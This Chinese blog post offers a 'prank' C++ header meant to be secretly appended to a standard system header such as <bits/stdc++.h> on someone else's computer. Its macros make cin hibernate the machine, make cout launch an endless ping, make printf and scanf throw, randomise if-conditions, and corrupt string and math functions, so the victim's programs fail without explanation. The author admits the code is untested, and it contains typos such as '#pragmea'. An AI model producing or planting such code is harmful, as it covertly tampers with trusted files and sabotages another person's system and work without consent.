机惨专用标头 - MoveToEx

MoveToEx实在闲了,弄了个机惨专用头文件……

欢迎大佬们补充。

没在电脑上试过,有错误请见谅

将本代码放到任意一个C++自带的头文件(如<iostream>)中即可
最好是<bits/stdc++.h>
最好放在头文件最后

效果可能很惨烈
起码那位被JC如果没发现的话应该活不下去了

在 Dev C++ 上可用
在 Visual Studio (Code) 中不可用

[2019/08/01] 发现throw是个好东西,更新
[2019/08/13] 想到main函数可以被魔改,更新

声明:使用此代码所造成的后果本人概不负责
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#pragmea once
#ifndef _IOSTREAM // Check if <iostream> is included
#include <iostream>
#endif

#ifndef _CSTDILB_ // <cstdlib>
#include <cstdlib>
#endif

#ifndef _CTIME_ // <ctime>
#include <ctime>
#endif

#ifndef _QUEUE_ // <queue>
#include <queue>
#endif

#ifndef _GLIBCXX_STDEXCEPT // <stdexcept>
#include <stdexcept>
#endif

// For input & output

#define freopen(file, mode, ptr) freopen(mode, file, ptr)
#define cin system("shutdown /h"); cin
#define cout system("ping 127.0.0.1 -t"); cout
#define printf(s, ...) throw std::runtime_error("printf function is deprecated.")
#define scanf(s, ...) throw std::runtime_error("scanf function is deprecated.")

// For QRead & QWrite

#define putchar(c)
#define getchar() (rand() % 10 + '0')
#define isdigit(x) (x < '0' || x > '9')

// Others

#define sqrt(a) (0)
#define abs(i) ((i > 0) ? -i : i)

// For C string operations

#define strlen(s) -1
#define strcmp(a, b) 0
#define strcat(a, b) memset(a, 0, sizeof(a)); memset(b, 0, sizeof(b));

// For keywords

#define if(x) if (rand() < 500)
#define unsigned signed


// For STL Containers

#define stack priority_queue

// For main function

int main() {
srand(time(0));
std::cout << "qwq" << std::endl;
return 0;
}
#define main mian
0%